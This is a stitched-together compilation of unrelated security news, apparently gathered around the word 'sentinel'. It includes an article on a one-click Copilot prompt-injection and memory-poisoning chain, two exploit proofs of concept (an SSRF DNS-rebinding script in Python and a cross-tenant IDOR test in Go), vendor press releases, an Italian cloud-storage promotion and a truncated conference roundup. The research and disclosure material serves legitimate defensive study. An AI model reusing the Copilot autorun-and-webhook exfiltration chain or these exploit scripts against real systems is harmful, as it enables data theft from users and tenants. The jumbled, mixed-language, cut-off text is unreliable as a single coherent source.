sentinel

Varonis Threat Labs has disclosed three vulnerabilities in Microsoft Copilot Personal that it said could allow a single click on a crafted link to silently pull data from connected apps and other information available to the victim's Copilot session. The flaws, which the researchers collectively named CoSnitch, turn in part on an undocumented URL parameter that the assistant itself surfaced during testing. The company said it reported the issue to Microsoft in December 2025 and that patches shipped on August 18, 2026. CoSnitch is tracked as CVE-2026-24301 in Microsoft's Security Update Guide. The research names Copilot Personal, the consumer assistant hosted at copilot.microsoft.com, and does not state that the same behavior affected Microsoft 365 Copilot. The researchers said they found no evidence that CoSnitch was exploited in the wild. They reached the parameter by repeatedly asking Copilot why a prompt could not be made to run without user interaction, an approach the firm calls meta-hacking. Each refusal carried a technical justification, and the assistant eventually named a parameter, autorun=1, along with the session conditions under which it worked and the protections that were supposed to have disabled it. When the researchers built the URL exactly as described, the parameter Copilot had said no longer worked executed. Copilot "wasn't breached; it was played," Varonis said in its report. The attack URL pairs autorun=1 with the existing q parameter. In the CoSnitch report, Varonis said q alone only pre-fills the input box and that both parameters must be present for the prompt to fire without a user gesture. Its earlier Reprompt research also used q as the Parameter-to-Prompt entry point in a one-click attack. Varonis said that once CoSnitch execution begins, the prompt runs to completion even if the victim closes the Copilot tab immediately after the page loads. Varonis grouped the findings into three vulnerabilities. The first two form the one-click exfiltration path, while the third is a separate memory-poisoning path triggered through web summarization: Automatic prompt execution. The two parameters together cause an attacker-supplied prompt to run on page load inside the victim's authenticated session, with the same capabilities as an instruction the user typed. Exfiltration through connected services. The injected prompt can query services the user has already authorized, encode retrieved data, and use Copilot's built-in URL fetch to send it to an attacker-controlled webhook. The technique does not grant Copilot new provider permissions or expand the user's existing access. Persistent memory writes from summarized pages. Separately, a crafted web page, when summarized by Copilot, can cause the assistant to write attacker instructions into the user's memory store, where they can shape later sessions. In testing, the researchers said Copilot returned message bodies, subject lines, and sender and recipient metadata from connected mail accounts, calendar titles, attendees, times, and locations, file names and metadata summaries from Google Drive, full prior conversation content from chat history, and the saved instructions and user-defined rules held in the memory store. Microsoft's connector documentation says users must authorize services before Copilot can access them and that connected services process requests using the user's existing permissions. Microsoft says Copilot does not expand that access and only works with content the account already has permission to view. Varonis said the exfiltration request is indistinguishable at the network layer from the fetches Copilot performs when it summarizes an ordinary web page, and that base64 encoding can help avoid filters scanning outbound requests for sensitive patterns such as credentials. On the separate memory path, the firm said an injected instruction survives password changes, session revocation, and device re-enrollment, and stays active in later conversations until the user deletes it from Copilot's memory settings. Varonis also said the memory write produces no process, file, network connection, or log entry that security tooling would flag, with the change visible in Copilot's memory interface. The web summarization path is not the first time Copilot memory has been reported to Microsoft. Researcher Håkon Måløy documented an attacker-controlled page that persisted an unintended memory when a victim used a Microsoft 365 Copilot summarization flow, publishing on June 22, 2026 after a 90-day coordination period and recording the Microsoft-side status as "mitigated globally." Johann Rehberger separately reported memory writes and deletions through indirect prompt injection in Microsoft 365 Copilot, as well as memory modification in the consumer assistant, in research associated with CVE-2026-24299. Microsoft set out its own position on the same class of attack in a June 22 security blog post that credited MSRC cases from Rehberger, Måløy, and Gal Zror. Scoped to Microsoft 365 rather than the consumer product, the company said memories pass through sanitization and prompt-injection checks on write, that M365 Copilot is designed to run Task Adherence checks on every explicit memory write, and that memory updates are recorded to organizational audit logs and surfaced to analysts through a MemoryUpdated field in Defender Advanced Hunting and Sentinel. Varonis advised reviewing which apps are connected to Copilot and disconnecting those not actively needed, treating the assistant as a privileged insider for access review and anomaly detection, and exercising caution with links that open AI assistants. The company did not identify a client update that users need to install. Varonis said injected memories persist until explicitly removed; its disclosure does not state whether Microsoft's remediation retroactively removed memory entries created before the fix. The disclosure comes less than two weeks after the same team detailed RovoBlast, a one-click attack on Atlassian's Rovo assistant that abused the rovoChatPrompt URL parameter to seed attacker-controlled instructions into a signed-in user's session. Varonis said Atlassian fixed the issue before its public disclosure.

È attiva un’offerta speciale su Proton Drive, servizio cloud di Proton dedicato all’archiviazione privata dei dati. La promozione consente di ottenere 200 GB a 1 euro per il primo mese, contro 4,99 euro. Proton Drive protegge file, foto e documenti con crittografia end-to-end. La formula si rivolge a chi cerca uno spazio cloud senza accesso ai contenuti da parte del provider. Proton Drive propone anche un piano annuale e l’ecosistema Proton Unlimited, con servizi aggiuntivi. Indice degli argomenti Il piano Drive Plus di Proton Drive offre 200 GB di spazio cloud crittografato. La protezione end-to-end mantiene le chiavi di accesso sotto il controllo dell’utente. Anche Proton non può visualizzare i file archiviati. Lo spazio permette di caricare qualsiasi tipo di file, comprese foto e video senza limiti sulle dimensioni. L’accesso avviene tramite browser oppure applicazioni dedicate per desktop e dispositivi mobili. Il servizio include anche il backup automatico delle fotografie su iOS e Android. I file condivisi possono inoltre essere protetti con password e date di scadenza. Drive Plus consente di recuperare file sovrascritti o modificati accidentalmente. La cronologia permette di tornare indietro fino a 10 anni. L’abbonamento comprende anche Proton Docs e Proton Sheets. Docs permette di creare documenti e collaborare in tempo reale, mentre Sheets gestisce i fogli di calcolo. Proton Unlimited amplia il pacchetto con Proton Mail premium, Proton Calendar, Proton VPN e Proton Pass. L’offerta comprende inoltre Proton Sentinel e 500 GB di archiviazione condivisa e crittografata tra le applicazioni. La formula annuale costa 109,12 euro per i primi 12 mesi. Il prezzo ordinario indicato è 119,88 euro per il rinnovo annuale. Per chi utilizza già più servizi Proton, l’abbonamento concentra quindi diverse funzioni in un unico pagamento. Le formule messe a disposizione da Proton Drive presentano differenze rilevanti tra pagamento mensile e annuale. Il primo mese costa 1 euro sia per Drive Plus sia per Proton Unlimited. Le formule annuali riducono invece il costo medio mensile, rispettivamente a 2,99 e 9,09 euro. Il maggiore risparmio in valore assoluto arriva da Proton Unlimited annuale, con 46,76 euro in meno rispetto al prezzo ordinario. Tutti i piani prevedono 30 giorni di garanzia soddisfatti o rimborsati.

Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery Date: 2026-07-17 Exploit Author: Pig-Tail (Jorge González Milla) Vendor Homepage: https://github.com/flytohub/flyto-core Software Link: https://github.com/flytohub/flyto-core Version: flyto-core private across successive lookups exactly as an attacker TTL=0 DNS does. The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the sentinel (private) -> internal reach that the guard was supposed to block.""" import os, sys, socket, threading, time sys.path.insert(0, os.path.join(os.getcwd(), "src")) from core.utils import validate_url_ssrf, SSRFError 1) internal "service" sentinel: raw TCP listener on loopback srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) import errno for _p in (8080, 8443): try: srv.bind(("127.0.0.1", _p)); break except OSError: continue else: raise SystemExit("no allowed port free") srv.listen(1) PORT = srv.getsockname()[1] hit = {"internal": False} def accept_once(): try: c,_ = srv.accept(); hit["internal"] = True; c.close() except OSError: pass threading.Thread(target=accept_once, daemon=True).start() HOST = "rebind.attacker.test" PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1 _real = socket.getaddrinfo calls = {"n": 0} def flipping_getaddrinfo(host, port, *a, **k): if host == HOST: calls["n"] += 1 ip = PUBLIC if calls["n"] == 1 else "127.0.0.1" return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))] return _real(host, port, *a, **k) socket.getaddrinfo = flipping_getaddrinfo 3) GUARD runs (resolves #1 = public) -> should PASS try: validate_url_ssrf(f" http://{HOST}:{PORT}/ ") print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)") except SSRFError as e: print("[guard] blocked (rebinding not effective):", e); sys.exit(0) 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel try: s = socket.create_connection((HOST, PORT), timeout=3); s.close() except OSError as e: print("[connect] error:", e) time.sleep(0.2) socket.getaddrinfo = _real print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}") print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)" if hit["internal"] else "NOT CONFIRMED") srv.close()

Exploit Title: Probo 0.222.2 - IDOR Date: 2026-07-17 Exploit Author: Pig-Tail (Jorge González Milla) Vendor Homepage: https://github.com/getprobo/probo Software Link: https://github.com/getprobo/probo Version: cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (idor_test.go) --- package idorpoc import ( "context" "fmt" "testing" "time" " http://github.com/stretchr/testify/require " " http://go.gearno.de/kit/pg " " http://go.probo.inc/probo/internal/test " " http://go.probo.inc/probo/pkg/coredata " " http://go.probo.inc/probo/pkg/gid " ) // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant // IDOR in the Finding->Risk relation (console v1): // - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store // req.RiskID with no scoped validation; coredata Finding.Insert has no tenant // FK on risk_id. => an org-A finding can reference an org-B risk. // - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the // *finding* (org A), then the dataloader (dataloader.go:223) scopes by the // *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk. // Benign marker: a sentinel risk name created in org B is read back through the // org-B-scoped load that the resolver uses. func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) { t.Helper() tenantID := gid.NewTenantID() orgID := gid.New(tenantID, coredata.OrganizationEntityType) now := time.Now() err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error { _, err := tx.Exec(ctx, INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5), orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now) return err }) require.NoError(t, err) return tenantID, orgID, coredata.NewScope(tenantID) } func TestFindingRiskCrossTenantIDOR(t *testing.T) { client := test.PGClient(t) ctx := context.Background() tenantA, orgA, scopeA := mkOrg(t, client) tenantB, orgB, scopeB := mkOrg(t, client) _ = tenantA const sentinel = "SECRET-ORG-B-RISK-do-not-disclose" riskB := &coredata.Risk{ ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB, Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated, Note: "internal", InherentLikelihood: 3, InherentImpact: 3, ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(), } require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return riskB.Insert(ctx, tx, scopeB) }), "seed org-B risk") // --- WRITE GAP: create a finding in org A referencing org B's risk --- findingA := &coredata.Finding{ ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA, Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen, Priority: coredata.FindingPriorityMedium, RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId CreatedAt: time.Now(), UpdatedAt: time.Now(), } writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does }) require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded") t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID) // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) --- loaded := &coredata.Risk{} readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID) return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID) }) require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request") require.Equal(t, sentinel, loaded.Name) t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name) // --- CONTRAST: proper org-A scoping would NOT find org-B's risk --- contrast := &coredata.Risk{} cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope }) require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)") fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr) }

Securonix enhances Unified Defense SIEM with AI agent detection and lower data costs Securonix has announced expanded cybersecurity cost reduction, expanded Threat Analytics for Microsoft Sentinel, and new Governed AI Agent Detection and Response capabilities. The additions extend the Securonix Unified Defense SIEM platform to help enterprises and managed security providers control data costs, improve detection coverage and response, and govern risks created by enterprise AI adoption. Security teams face three pressures at once. Telemetry volumes and SIEM costs continue to rise. Threats increasingly span identity, cloud, endpoint, application, and third-party environments. Enterprises are also deploying AI assistants, autonomous workflows, and digital workers that can access sensitive systems and act on behalf of users. Security leaders must address these pressures while preserving visibility, supporting existing technology investments, and improving outcomes without proportionally increasing staff or operational complexity. Securonix is addressing those priorities through Governed AI Agent Detection and Response for monitoring human and non-human identity risk, expanded Data Pipeline Manager licensing and the now-shipping Securonix DPM agent for greater control over security data economics, and deeper Threat Analytics for Microsoft Sentinel for enterprises, MSSPs, and MDR providers. “Security operations cannot scale by continually adding more data, more tools, and more analyst effort,” said Toby Weiss, Chief Executive Officer of Securonix. “We are giving customers better control over the data they retain, stronger detection across the platforms they already use, and clear oversight of automated activity. That gives the SOC room to grow without losing control of cost, context, or risk.” Strengthen Microsoft Sentinel without replacing it Securonix has expanded Threat Analytics for Microsoft Sentinel, a lightweight, cloud-native analytics and intelligence layer designed to improve detection quality while keeping Microsoft Sentinel at the center of the SOC. Threat Analytics applies behavior-driven analytics, industry-leading UEBA, advanced correlation, entity context, dynamic risk scoring, and continuously maintained and detection content to telemetry already available in Sentinel. Securonix analyzes the data and returns enriched, higher-confidence detections directly to Sentinel for triage, investigation, and response. Analysts continue working in their existing Sentinel workflows. Customers gain broader coverage and richer behavioral context without deploying additional endpoint agents, duplicating telemetry pipelines, building new customer-side pipelines, re-platforming the SOC, or operating a second SIEM. “Sentinel customers have already made their platform choice,” said Simon Hunt, Chief Product Officer of Securonix. “We are adding depth where it counts: behavioral context, cross-source correlation, and risk-based prioritization. Analysts stay in Sentinel, while the detections reaching them carry more evidence and a clearer reason to act.” With more than 2,400 continuously maintained out-of-the-box detections, Threat Analytics helps teams identify identity attacks, insider threats, ransomware, cloud compromise, and advanced persistent threats with greater context and confidence. For MSSPs and MDR providers, the offering creates a path to differentiated managed detection services across multi-tenant environments, with faster onboarding, delivering enhanced monitoring with out-of-the box behavior-based detections and threat modeling, and streamlining content management easily across multiple customers. Threat Analytics for Microsoft Sentinel helps providers strengthen managed detection services without disrupting customer environments, replacing Microsoft Sentinel, or introducing a disconnected analyst workflow. Detect and govern risk across enterprise AI agents Securonix is introducing new Governed AI Agent Detection and Response capabilities designed to help organizations identify and respond to abnormal or risky activity involving enterprise AI assistants, autonomous workflows, and digital workers. AI agents increasingly interact with users, identities, applications, sensitive data, tools, and business processes. Security teams need visibility into what those agents are doing, which resources they are accessing, and whether their behavior changes in ways that indicate misuse, compromise, or policy violations. Securonix applies behavioral analytics across human and non-human identities to detect abnormal agent activity, suspicious human-to-agent interactions, risky tool invocation, unusual prompt behavior, unauthorized AI adoption, and potential misuse or compromise, or policy violations. The capabilities support monitoring activity across enterprise AI environments, including Microsoft Copilot and other widely used AI assistants and developer tools. Findings preserve behavioral context; investigations remain explainable; response actions can be reviewed and audited; and human analysts retain oversight of consequential decisions. “The moment an AI agent can access a mailbox, call an API, or change a business process, its behavior belongs in the security picture,” said Hunt. “Analysts need to know what it touched, why it acted, and whether that activity fits policy. We are bringing that context into the same investigation and response process teams use every day.” Control security data costs without sacrificing visibility Securonix has expanded DPM licensing across eligible SIEM environments and is now shipping the Securonix DPM agent. Together, these capabilities give enterprises and service providers greater control over how telemetry is collected, routed, retained, and analyzed. Many security data strategies force teams to choose between managing costs and preserving visibility. Securonix helps organizations align how telemetry is handled with its operational and security value. High-priority data can support real-time analytics and detection, while other telemetry remains available for investigation, threat hunting, compliance, and long-term retrieval. Analysts retain access to the data required for investigations. Security leaders gain more predictable economics. Enterprises and MSSPs can expand coverage without discarding telemetry that may later prove critical. Securonix Data Pipeline Manager can help organizations reduce SIEM data costs by 30–50% by ensuring that only security-relevant data is processed through the Analytics Pipeline, while investigation and compliance data are routed through cost-efficient pipelines. Availability Expanded DPM licensing is available for eligible SIEM environments, and the Securonix DPM agent is now shipping. Securonix Threat Analytics for Microsoft Sentinel is available for enterprise SOCs, MSSPs, and MDR providers using Microsoft Sentinel. Governed AI Agent Detection and Response capabilities are available as part of the Securonix Unified Defense SIEM platform.

The CI/CD workflow weakness affects Microsoft's Azure Sentinel, Google's AI Agent Development Kit, Apache's Doris analytics database, Cloudflare's Workers SDK, and Python Software Foundation's Black.

GPS As a Key Distribution Platform This is interesting: The U.S. military has likely been quietly broadcasting codes for its global encryption network using public GPS for nearly 20 years, turning each satellite into a hidden “numbers station,” according to Steven Murdoch… That means every device that uses GPS has been receiving hidden government information for years, and nobody outside the military knew it until now. […] Murdoch discovered that this particular sentinel was transmitted by all 31 operational satellites within a window of a few hours on May 26, 2011, potentially heralding the activation of a new operational system. He confirmed that this timeline coincided with the rollout of the military’s Over-the-Air Distribution (OTAD) and the Over-the-Air Rekeying (OTAR) by cross-referencing declassified documents, including a 2015 presentation about the dates of the operation. “There was a perfect match between the timeline and that presentation and the change points that were automatically identified from the data,” Murdoch said. “That was the smoking gun that made me think: This is what it’s for.” These automated systems replaced the cumbersome manual distribution of cryptographic keying material, allowing military GPS receivers around the world to be rekeyed remotely through satellite broadcasts rather than through onsite procedures.

As hundreds of vendors descend on San Francisco for the RSAC 2026 Conference, the sheer volume of news can be overwhelming. To help you navigate the noise, SecurityWeek is providing a daily digest of the most significant announcements. Below is our curated roundup of essential news from the third and fourth days of the event (as well as some announcements we may have missed in the previous days). Roundups of announcements from day 1, day 2, and the days leading up to the conference are also available. Accenture has introduced Cyber.AI, a new cybersecurity solution that uses Anthropic’s Claude model as a central reasoning engine to automate security workflows. The platform integrates a library of autonomous agents to synthesize security data and provide contextual insights throughout the security lifecycle. It features a specialized component called Agent Shield to monitor and govern these autonomous agents in real-time to ensure they adhere to defined organizational policies. Akamai and Bolster AI detect brand impersonation and phishing Bolster AI and Akamai have teamed up to help organizations detect and disrupt brand impersonation and phishing campaigns targeting their customers. The new Brand Guardian solution combines Akamai’s global internet infrastructure with Bolster’s AI-driven fraud detection and automated takedown technology to detect impersonation campaigns earlier, observe attacks from the victim’s perspective, disrupt campaigns using automated investigation and takedown workflows, and understand campaign impact. Arctic Wolf Labs has analyzed over 22,000 AI‑assisted malware samples and found that a significant share of this malware is novel and harder to catch with traditional tools—39% initially evaded signature-based detection. While AI increases the scale of threats, most activity is not tied to sophisticated or known actors, and the resulting malware can still be detected with the right layered defenses. Barracuda Networks has announced enhancements to its BarracudaONE cybersecurity platform, along with a revamped global Partner Success Program, aimed at strengthening cyber resilience and supporting partner growth. The platform updates boost protection across email, network access, and generative AI usage. Barracuda has overhauled its Partner Success Program, creating a unified model for MSPs, resellers, and hybrid partners with expanded benefits and incentives. CrowdStrike announced the Charlotte AI AgentWorks ecosystem for building secure agents, with launch partners including Accenture, AWS, Anthropic, Deloitte, Kroll, NVIDIA, OpenAI, Salesforce, and Telefónica Tech. The ecosystem enables customers to leverage CrowdStrike’s no-code development platform and frontier AI models to securely build, orchestrate, and scale custom security agents, while opening new opportunities for partners to create agentic security businesses on the Falcon platform. CyberProof MDR analysts and threat researchers have identified a significant surge in PXA Stealer activity targeting global financial institutions during Q1 2026. These campaigns primarily leverage phishing emails containing malicious URLs that trigger the download of compromised ZIP attachments. Threat actors have demonstrated high levels of adaptability, utilizing diverse lures ranging from curriculum vitae and Adobe Photoshop installers to tax forms and legal documentation. Following the 2025 takedowns of major infostealers such as Lumma, Rhadamanthys, and RedLine, CyberProof observed that PXA Stealer activity has filled the resulting vacuum, seeing an estimated growth of 8-10%. Cyber Sierra announced a new collaboration with ST Engineering’s Cyber business to help organisations bring together AI‑driven governance and frontline cybersecurity operations for continuous, outcome-focused cyber resilience. DigiCert has introduced several updates to its Document Trust Manager platform to streamline digital signing workflows and enhance key security. The system now features centralized key management (eliminating the need for physical tokens by providing secure cloud-based storage for signing certificates). New unified workflows provide enterprise-wide visibility into signing activities (allowing administrators to monitor document integrity and track usage across the organization). The platform also supports various global PKI standards to ensure compliance with regional regulatory requirements for cross-border digital transactions. Ironscales announced ‘Email Attack of the Day,’ an ongoing email threat intelligence blog series spotlighting recent, real phishing attacks caught by the organization’s adaptive AI and its community of 30,000+ security professionals. Each post breaks down one attack — what it looked like, why it worked, and what users can do about it. The company also introduced new email security agents that anticipate, investigate, and prepare for advanced phishing attacks. Menlo Security has released a platform designed to monitor and control the activities of autonomous AI agents operating within web browsers. The platform provides visibility into agent-driven web sessions to prevent unauthorized data exfiltration and ensure compliance with corporate governance standards. The solution allows organizations to define granular permissions for AI agents. Minimus announced a new open source program that provides maintainers with free access to hardened container images, SBOM generation and analysis, and real-time threat intelligence. The initiative aims to close the security gap for open source projects that underpin critical infrastructure but lack enterprise-grade supply-chain security tooling. Accepted projects can integrate Minimus images into their pipelines to reduce attack surface, gain visibility into dependencies, and accelerate vulnerability remediation. Nile has updated its networking platform to incorporate “datacenter-class” security features designed to limit lateral movement within campus and branch environments. The architecture utilizes AI-driven automation to enforce granular micro-segmentation. By integrating these controls directly into the network fabric, the system aims to contain potential breaches by reducing the available attack surface. Singapore-based pQCee has introduced a crypto-agile Cryptography Next Generation (CNG) provider for Microsoft Windows. It allows enterprises, governments, and regulated industries to rapidly adopt post-quantum cryptographic algorithms, comply with national security requirements, and prepare for integration with emerging quantum hardware. The solution provides seamless support for custom post-quantum algorithms and implementations directly within Windows. Protos Labs has introduced a free tier of Protos AI, its agentic AI platform designed to automate the collection and analysis of cyber threat intelligence (CTI). The system utilizes specialized AI agents to execute tasks across the CTI lifecycle (including planning, evidence collection, and citation-backed reporting). The platform is model-agnostic and functions independently of existing security stacks to build ‘organizational intelligence memory’ by linking threat entities across historical investigations. Human analysts maintain control by approving investigation plans and validating the agents’ outputs before dissemination. Quokka Q-scout now integrates with Microsoft Sentinel to centralize mobile application risk intelligence across Microsoft Intune-managed devices. The connector automatically ingests app inventories from Intune, analyzes them using Quokka’s mobile app vetting engines, and streams security, privacy, and compliance risk findings into Sentinel. The Qualys Threat Research Unit (TRU) released what it described as the largest remediation study ever conducted, examining more than 1 billion CISA KEV records across over 10,000 organizations spanning four years. The study found that vulnerability volume has increased 6.5x in the last three years, while exploitation timelines have collapsed to -1 days. Despite processing more tickets, security teams left 63% of critical vulnerabilities open on day 7 in 2025, a deterioration from 56% in 2022. Out of 52 actively weaponized vulnerabilities that were analyzed, half were exploited before public disclosure. Singapore-based Scantist has announced the US launch of PAIStrike, an autonomous penetration testing platform designed to validate real-world security risks. PAIStrike functions as a coordinated multi-agent system that autonomously analyzes targets, devises multi-step attack strategies, executes exploits, evaluates results, and dynamically adjusts its tactics in real time. Skyhigh Security announced new capabilities for its Security Service Edge (SSE) platform. The company introduced new offerings and updates to strengthen its platform, including Next-Generation SSE Hybrid and Secure Browser Controls solutions, along with updates to Skyhigh DSPM to create a unified view of data risk across multi-vendor environments. Vorlon has launched two new products, AI Agent Flight Recorder and AI Agent Action Center, to provide forensics and coordinated response for enterprise AI and SaaS environments. The Flight Recorder uses intelligent simulation technology to capture a continuous audit trail of agent actions across various identities, APIs, and data classifications. To address identified risks, the Action Center prioritizes security findings and routes remediation guidance to relevant stakeholders. These tools integrate with existing security workflows, including SIEM and SOAR platforms.

DataBahn brings AI-driven intelligence into the security pipeline DataBahn.ai has announced Autonomous In-Stream Data Intelligence (AIDI), a new operating model for security data pipelines in which data is continuously interpreted, validated, and acted on in real time as it flows. Building on its AI-native foundation, DataBahn advances the pipeline from intelligent data preparation to an active system of in-stream decision-making, enabling organizations to detect issues earlier, adapt dynamically and ensure data is trusted before it reaches downstream systems. DataBahn is also introducing the DataBahn Agent Farm, a coordinated system of specialized AI agents that operationalize AIDI across the data lifecycle, continuously building, validating, optimizing and protecting data in-stream. The impact of these enhancements on security operations teams is immediate and measurable. Early design partners using AIDI have compressed SIEM onboarding timelines from months to days through AI-driven connectors that automatically normalize, enrich and route telemetry from more than 500 sources. Organizations have optimized log volume by 40 to 70 percent without sacrificing security value, while eliminating blind spots caused by silent data loss and misconfigured pipelines. The result is clean, enriched and contextually complete data delivered in real time, ready for detection, investigation and response the moment it arrives at its destination. The DataBahn platform takes an AI-native approach to the security data pipeline, embedding intelligence directly into how data is ingested, transformed and routed. That approach has enabled organizations to eliminate manual data engineering, accelerate SIEM onboarding and bring structure and control to rapidly growing telemetry. AIDI represents the next stage of that architecture, and with it, pipelines can now understand, analyze, detect, decide and act on data as it flows. AIDI represents an evolution in security that DataBahn calls “shift up.” Rather than waiting for data to land in a SIEM or analytics platform before applying logic to it, shift up moves interpretation, enrichment and decision-making into the pipeline itself. The concept parallels the transformation that reshaped enterprise data engineering a generation ago with the advent of ETL workflows. AIDI applies a similar inversion to security telemetry: the intelligence work that once happened after delivery now happens in transit, so that data arrives at its destination already normalized, classified and ready for use. “We have always believed that intelligence belongs inside the pipeline, not bolted on after the fact,” said Nanda Santhana, CEO of DataBahn. “Autonomous In-Stream Data Intelligence is the natural next step. The pipeline no longer just prepares data. It understands context, detects gaps and makes real-time decisions. That is how you evolve from data movement to data intelligence.” How Autonomous In-Stream Data Intelligence works AIDI operates as a continuously running intelligence layer embedded in the DataBahn pipeline. As telemetry enters the platform from cloud, hybrid and SaaS environments, the system performs several operations simultaneously. It interprets each data stream against its known context, including source identity, asset classification, environment topology and historical behavior patterns. It then applies schema normalization and enrichment automatically, eliminating the manual parser creation and brittle scripting that have historically slowed SIEM onboarding. Based on the content and risk profile of each stream, AIDI determines how data should be routed, enriched, suppressed or protected, directing high-fidelity detection data to the analytics tier and high-volume retention data to lower-cost storage. Throughout this process, specialized AI agents monitor for coverage gaps, schema drift, data loss and policy violations, taking corrective action without waiting for human intervention. For organizations that have standardized on Microsoft Sentinel or other leading SIEM platforms, AIDI is designed to accelerate time to value from those investments. Building on DataBahn’s recently announced expanded partnership with Microsoft, AIDI applies continuous intelligence to every data stream entering the SIEM. The DataBahn Agent Farm As part of the AIDI platform, DataBahn is also introducing the DataBahn Agent Farm, a set of specialized AI agents that extend the platform’s capabilities across the data lifecycle. Each agent handles a distinct operational function, giving security teams continuous, hands-off coverage across ingestion, validation, mapping and protection: Forge (Build): Automatically creates and maintains connectors and integrations, accelerating onboarding of new data sources. Atlas (Map): Builds a real-time asset inventory from telemetry, providing deep context across devices, identities and environments. Compass (Guide): Maps data against MITRE ATT&CK to identify detection gaps and strengthen security posture. Pulse (Monitor): Tracks data health, freshness and schema drift to keep pipelines reliable and performant. Signal (Validate): Verifies that data reaches its intended destinations completely and accurately, eliminating blind spots. Sentry (Protect): Detects and enforces controls on sensitive data in-stream, enabling real-time data security and compliance. Multiple tiers based on data maturity Recognizing that organizations are at different stages of their data maturity, DataBahn offers a tiered adoption model for AIDI: Foundation: Operational Data Pipelines. High-performance pipelines with built-in data engineering and observability. Organizations gain structured and cost-optimized data with faster onboarding of new sources. AI Assist: Intelligent Data Insights. AI agents provide continuous visibility into data quality, pipeline integrity and security coverage, surfacing gaps, blind spots and validation issues without taking direct action. AI Autonomy: Self-Operating Data Fabric. The full power of AIDI, where AI agents move from insight to action, enabling autonomous connector creation, self-healing pipelines, inline data protection and continuous adaptation to evolving environments. With AIDI, DataBahn’s pipeline continues to integrate with leading SIEM, observability and AI platforms, now delivering validated, enriched and context-aware data wherever it is needed. By converting the pipeline into an active intelligence layer, organizations can decouple data preparation from analytics, build a trusted and AI-ready data foundation and scale operations without increasing complexity.

As hundreds of vendors descend on San Francisco for the RSAC 2026 Conference, the sheer volume of news can be overwhelming. To help you navigate the noise, SecurityWeek is providing a daily digest of the most significant announcements. Below is our curated roundup of essential product and service updates, along with reports from the first day of the event. A roundup of announcements from the days leading up to the conference is also available. Acalvio has released 360 Deception, a cyber deception framework designed to break AI-driven attack automation. By incorporating 360 Deception into their existing tech stack, organizations will be able to disrupt AI-driven threat campaigns and expose malicious intent before compromise occurs. 360 Deception makes cyber defense dynamic and extends it to real assets. The platform creates a high-uncertainty environment that exposes attackers early by disrupting the stable ground truth that automated attack tools depend on. Application security startup Apiiro announced that it is expanding the power of its AI coding security agent, Guardian Agent, with a new capability to identify security and compliance risks before code is ever written, called AI Threat Modeling. Apiiro AI Threat Modeling generates architecture-aware threat models from specs and tickets, enabling teams to identify and fix risks before code is written. By identifying risks earlier, teams can reduce rework, avoid late-stage delays, and keep development moving without adding new security bottlenecks. Arctic Wolf announces new Aurora platform and agentic SOC Arctic Wolf announced the availability of the new Aurora Superintelligence Platform, designed to accelerate the adoption of AI across cybersecurity. Built on a transformative agentic framework called the Swarm of Experts, the platform helps IT and security teams rapidly and confidently adopt Agentic AI to solve the trust and reliability challenges that have slowed adoption in cybersecurity. Arctic Wolf also announced the availability of the new Aurora Agentic SOC. Built on the Aurora Superintelligence Platform, the Aurora Agentic SOC combines Arctic Wolf’s Concierge Experience with turnkey agentic AI. Arctic Wolf also announced a partnership with cloud security firm Wiz to deliver a new integration between Wiz solutions and the Aurora Superintelligence Platform. ArmorCode, in partnership with the Purple Book Community, released The State of AI Risk Management 2026, highlighting a growing “confidence gap” 